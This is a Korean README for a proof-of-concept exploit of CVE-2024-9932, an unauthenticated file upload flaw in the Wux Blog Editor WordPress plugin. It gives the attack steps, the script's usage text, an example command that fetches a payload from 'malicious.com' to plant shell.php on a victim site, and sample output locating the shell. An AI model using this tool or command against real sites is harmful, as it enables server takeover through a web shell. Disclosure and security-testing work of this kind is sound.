
CVE-2024-9932에 대한 개념 증명 익스플로잇으로, Wux Blog Editor WordPress 플러그인의 인증되지 않은 임의 파일 업로드 취약점으로, 악성 파일 업로드를 통한 원격 코드 실행을 가능하게 합니다.
Wux Blog Editor WordPress 플러그인은 wuxbt_insertImageNew 함수의 파일 형식 검증 부족으로 인해 임의 파일 업로드에 취약합니다. 3.0.0 이하 버전이 영향을 받습니다. 이 취약점으로 인해 인증되지 않은 공격자가 서버에 임의의 파일을 업로드할 수 있으며, 잠재적으로 원격 코드 실행(RCE)으로 이어질 수 있습니다.
이 취약점은 wuxbt_insertImageNew 함수의 부적절한 파일 형식 검증에서 비롯됩니다. 이로 인해 공격자는 인증 없이 악성 파일을 서버에 업로드할 수 있습니다.
공격 시나리오:
공격자는 취약한 플러그인을 사용하는 웹사이트를 식별합니다.
파일 업로드 기능을 악용하여 악성 PHP 셸을 업로드합니다.
침해된 서버에서 명령을 실행합니다.
usage:CVE-2024-9932.py [-h] -u URL -ur REMOTE_URL [-n NAME]
Wux Blog Editor - Arbitrary File Upload
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress server, e.g., http://192.168.100.74/wordpress
-ur REMOTE_URL, --remote-url REMOTE_URL
Remote file URL, e.g., http://192.168.100.54/shell.txt
-n NAME, --name NAME Desired file name, e.g., Nxploit.php
python CVE-2024-9932.py -u http://victim-site.com/wordpress -ur http://malicious.com/payload.txt -n shell.php
성공적인 업로드 예시
1- 파일 발견:
2- 실행 결과: 페이로드를 실행하려면 파일의 URL로 이동하십시오.
[+] File found: http://192.168.100.74/wordpress/wp-content/uploads/2025/01/shell.php
이 도구는 교육 목적으로만 제공됩니다. 권한 없이 시스템에서 이 스크립트를 무단 사용하는 것은 불법입니다.